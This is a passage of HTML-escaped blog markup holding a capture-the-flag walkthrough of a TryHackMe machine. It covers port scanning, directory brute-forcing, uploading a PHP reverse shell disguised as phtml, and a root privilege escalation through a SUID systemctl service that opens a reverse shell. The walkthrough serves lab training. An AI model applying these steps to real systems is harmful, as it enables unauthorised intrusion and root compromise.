&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;TRACEROUTE (using port 445/tcp)&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;HOP RTT&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;ADDRESS&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;138.04 ms 10.8.0.1&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;138.24 ms 10.10.10.202&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;Nmap done: 1 IP address (1 host up) scanned in 85.44 seconds&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;Raw packets sent: 73874 (3.254MB) | Rcvd: 73628 (2.969MB)&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&lt;b&gt;FINDINGS&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;The web server is running on port 3333.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCmiDQubQyO1hZnwzhCLy5xWzPZr2jk3HUecQXVAGinD7JFz_C42t4wWQ6m6E10-ezhH7OOVCnUGddrpa8xXb3GNsU3ERTiCWSbDiD5-wp10doTZ_bcJinjqOgoJB0nDBIXjNt9SxZpEsz/s1600/blog1.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1141&quot; data-original-width=&quot;1600&quot; height=&quot;456&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCmiDQubQyO1hZnwzhCLy5xWzPZr2jk3HUecQXVAGinD7JFz_C42t4wWQ6m6E10-ezhH7OOVCnUGddrpa8xXb3GNsU3ERTiCWSbDiD5-wp10doTZ_bcJinjqOgoJB0nDBIXjNt9SxZpEsz/s640/blog1.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;Let&#39;s do some recon and brute force its directories.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;I could find an&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;upload directory&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&amp;nbsp;(&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-family: courier; font-size: 11pt;&quot;&gt;/internal&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;) through the&lt;/span&gt;&lt;a href=&quot;https://github.com/maurosoria/dirsearch&quot; style=&quot;font-family: calibri; font-size: 11pt;&quot;&gt;&amp;nbsp;DIRSEARCH&lt;/a&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&amp;nbsp;tool.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhpytigUsN3TGgzZb3PDGVVhNIEGTpwniIIbopOjtW7FL8Dq-3m1Kdh1qQqodLQBWqPafzCSfbRPQhrY-gqvkPSH2UB3gO7raTnLsiUMTCrtp_6nLqCfZgj3TfUxGNyuGScYLNWnMswZs2/s1600/blog2.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;782&quot; data-original-width=&quot;1102&quot; height=&quot;456&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhpytigUsN3TGgzZb3PDGVVhNIEGTpwniIIbopOjtW7FL8Dq-3m1Kdh1qQqodLQBWqPafzCSfbRPQhrY-gqvkPSH2UB3gO7raTnLsiUMTCrtp_6nLqCfZgj3TfUxGNyuGScYLNWnMswZs2/s640/blog2.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;The challenge contains hints on what extensions might be allowed, but we can also gather that by using Burp Intruder.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYiDx205dMRpfXWNpi7WRQZ4zxZ8neL5UyxNtFXuUERZiWsgu8yPL-fqdqbeP2_IeoEkbr4I8lwnr341qtqaqFhztfS5BQACeHs60eP3qxN9V6sBYUWE3rKyaA9IZqOgYKvDhvezItgzyU/s1600/blog3.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;479&quot; data-original-width=&quot;1382&quot; height=&quot;224&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYiDx205dMRpfXWNpi7WRQZ4zxZ8neL5UyxNtFXuUERZiWsgu8yPL-fqdqbeP2_IeoEkbr4I8lwnr341qtqaqFhztfS5BQACeHs60eP3qxN9V6sBYUWE3rKyaA9IZqOgYKvDhvezItgzyU/s640/blog3.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;After launching an attack through Intruder (&lt;i&gt;see embedded video&lt;/i&gt;), we conclude&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt; font-style: italic;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: courier; font-size: 11pt;&quot;&gt;phmtl&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&amp;nbsp;extension results to be allowed.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;We can then upload a&lt;a href=&quot;http://pentestmonkey.net/tools/web-shells/php-reverse-shell&quot;&gt; reverse shell&lt;/a&gt;&amp;nbsp;by changing its&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;extension from&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: courier; font-size: 11pt;&quot;&gt;&lt;b&gt;php&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt; to&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: courier; font-size: 11pt;&quot;&gt;phtml&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioFq84Z3sjdQiLi5IwvG1jywmLiVybNhsM-VAG0zGMcAjt81vKzg4T4nZ_bFEtDEWT0wUkX-n-2spYLfVv2_ZVv5ABmFPHXpvN788PVc1fwdfdUnDgxb9B58-NPFY_fJT_CpIArZWzVbEW/s1600/blog4.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;466&quot; data-original-width=&quot;1378&quot; height=&quot;216&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioFq84Z3sjdQiLi5IwvG1jywmLiVybNhsM-VAG0zGMcAjt81vKzg4T4nZ_bFEtDEWT0wUkX-n-2spYLfVv2_ZVv5ABmFPHXpvN788PVc1fwdfdUnDgxb9B58-NPFY_fJT_CpIArZWzVbEW/s640/blog4.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;We then obtain a reverse shell from the target machine by browsing to the URL where&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;the uploaded shell is stored on the webserver.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWJZQlneGg76099diYY9u2CbmVV68V7c-RcheePir_9LrBVdW-EMnEGv686SKOo3A6-5cXsaCzQKiobtGlUjVMTE852x0rsKxZaNaWnMf-36HPjBFkkO0ZBZuTFB75pYtjR1LDxV_5tBGv/s1600/blog5.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;803&quot; data-original-width=&quot;1600&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWJZQlneGg76099diYY9u2CbmVV68V7c-RcheePir_9LrBVdW-EMnEGv686SKOo3A6-5cXsaCzQKiobtGlUjVMTE852x0rsKxZaNaWnMf-36HPjBFkkO0ZBZuTFB75pYtjR1LDxV_5tBGv/s640/blog5.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;Analyzing&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;/etc/passwd&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt; we find that a user called&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-family: courier; font-size: 11pt;&quot;&gt;bill&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&amp;nbsp;is also configured on the machine and we can access its home directory, containing our first flag (&lt;/span&gt;&lt;span style=&quot;font-family: courier; font-size: 11pt;&quot;&gt;user.txt&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;), which is a world-readable file.&lt;/span&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzIZSDXv2yeHPBSpgxv6ihB6A7ATUS91milZLmMwugBKY7784OadcPkG3X6S1PMA7wFTmYuJTgLz5E1RLPfQltWMRWmAdTT1nrEVqqgudLtXQRomvmpqDK-NPtCNLpTw9XTWBWxMWbluHf/s1600/blog6.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;270&quot; data-original-width=&quot;802&quot; height=&quot;216&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzIZSDXv2yeHPBSpgxv6ihB6A7ATUS91milZLmMwugBKY7784OadcPkG3X6S1PMA7wFTmYuJTgLz5E1RLPfQltWMRWmAdTT1nrEVqqgudLtXQRomvmpqDK-NPtCNLpTw9XTWBWxMWbluHf/s640/blog6.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;PRIVILEGE ESCALATION&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;Looking for SUID FILES (&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt; font-style: italic;&quot;&gt;through the below command&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;), we find&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: courier; font-size: 11pt;&quot;&gt;systemctl&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&amp;nbsp;is available for privesc.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgu_d4K0dm_o7nn7UBb1FkDXUKpiagPISXBjeZ8VIrhHT-eH9EgfPlGDmePWbdwTjegKwc-Yot6j4-MDnXgLLCu9Zp1xhGaLDGEiIss0IZx21SxHYK1F7Ccn9lRSvirNg_MVZ0OF7_yTzq6/s1600/blog7.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;54&quot; data-original-width=&quot;1078&quot; height=&quot;32&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgu_d4K0dm_o7nn7UBb1FkDXUKpiagPISXBjeZ8VIrhHT-eH9EgfPlGDmePWbdwTjegKwc-Yot6j4-MDnXgLLCu9Zp1xhGaLDGEiIss0IZx21SxHYK1F7Ccn9lRSvirNg_MVZ0OF7_yTzq6/s640/blog7.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;The reason why it stands out is that&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #ae3109; font-family: courier; font-size: 11pt;&quot;&gt;systemctl&lt;/span&gt;&lt;span style=&quot;color: #ae3109; font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;is used to set up a service as automatic, so that it will run when the system starts.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;By following the directions found&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49&quot; style=&quot;font-family: Calibri; font-size: 11pt;&quot;&gt;here&lt;/a&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;, we can create a fake service that will return a root reverse shell on port 9000.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;The privilege escalation technique leverages the fact &lt;/span&gt;&lt;span style=&quot;font-family: courier; font-size: 11pt;&quot;&gt;systemctl&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt; allows to start a service. In this case, as &lt;/span&gt;&lt;span style=&quot;font-family: courier; font-size: 11pt;&quot;&gt;systemctl&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt; is wrongly configured to run with the same privilege level as the root user, it’ll return a root shell when we run our fake service.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;This is what the fake service looks like:&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJkBzt2HaZ2zSgpTdH_IXKAt4VdRwNu9w5_TBuFNU_ryAzVlv25E6nf5jcr1ZBmSIocJvjhTZuYJhW1ZvSfwgsIXl_-_KXh6GeUH-T3WbDxMzLA4GmDYwuEu9aZBwGxs4-M3X0C3YPQehH/s1600/blog8.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;530&quot; data-original-width=&quot;1442&quot; height=&quot;234&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJkBzt2HaZ2zSgpTdH_IXKAt4VdRwNu9w5_TBuFNU_ryAzVlv25E6nf5jcr1ZBmSIocJvjhTZuYJhW1ZvSfwgsIXl_-_KXh6GeUH-T3WbDxMzLA4GmDYwuEu9aZBwGxs4-M3X0C3YPQehH/s640/blog8.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;NOTE: Compared with the&lt;a href=&quot;https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49&quot;&gt; referenced post&lt;/a&gt;, I made two changes:&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;ul style=&quot;direction: ltr; unicode-bidi: embed;&quot;&gt;
&lt;li style=&quot;vertical-align: middle;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;I replaced the bash payload with a python payload (the bash shell mentioned in the original post didn&#39;t work)&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;vertical-align: middle;&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;I replaced the attacking machine&#39;s IP address with my internal IP for the TryHackMe network.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;I then started the service with the command below (&lt;/span&gt;&lt;span style=&quot;font-family: courier; font-size: 11pt;&quot;&gt;systemctl enable /tmp/root.service&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;).&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmzc-7i2ealA5bkPBeNGhRBM779rRBVZshL2Gmft7cVHWE0tC8BeGKnpSMlHtIGEmU_Uq5pkkUpBU4ENvlumCHBpP1ia4JX8aBZ1ju6D4pNGO_pr8a_ydQi6ORHrfExfAoyGbPdYEX7KNE/s1600/blog9.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;152&quot; data-original-width=&quot;1088&quot; height=&quot;88&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmzc-7i2ealA5bkPBeNGhRBM779rRBVZshL2Gmft7cVHWE0tC8BeGKnpSMlHtIGEmU_Uq5pkkUpBU4ENvlumCHBpP1ia4JX8aBZ1ju6D4pNGO_pr8a_ydQi6ORHrfExfAoyGbPdYEX7KNE/s640/blog9.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;The command creates a service called&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-family: courier; font-size: 11pt;&quot;&gt;root&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&amp;nbsp;that, once started, will send a root shell back to our machine.&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;To start the service we created, we run&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-family: courier; font-size: 11pt;&quot;&gt;systemctl start /tmp/root&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&amp;nbsp;command.&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;As a result, by opening up a &lt;/span&gt;&lt;span style=&quot;font-family: courier; font-size: 11pt;&quot;&gt;netcat&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt; listener on port 9000, we receive a reverse root shell.&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAjQBGwJNQVpwa8Lx3AM4fw0ZABIA51zNKgOYp8jfMaCO77FQjOGbtkaBoA_lhsQ_WDrL__fBVb56xGoc4jsI_59CbKcBA2uRkxzlnqIZdbGZ3dbskrU3bFQyqkF6nBTSSWwgcZWQ1ZMrW/s1600/blog10.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;252&quot; data-original-width=&quot;1074&quot; height=&quot;152&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAjQBGwJNQVpwa8Lx3AM4fw0ZABIA51zNKgOYp8jfMaCO77FQjOGbtkaBoA_lhsQ_WDrL__fBVb56xGoc4jsI_59CbKcBA2uRkxzlnqIZdbGZ3dbskrU3bFQyqkF6nBTSSWwgcZWQ1ZMrW/s640/blog10.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;At that point, we can read the root flag and we can pwn the machine.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &amp;quot;calibri&amp;quot;; font-size: 11pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
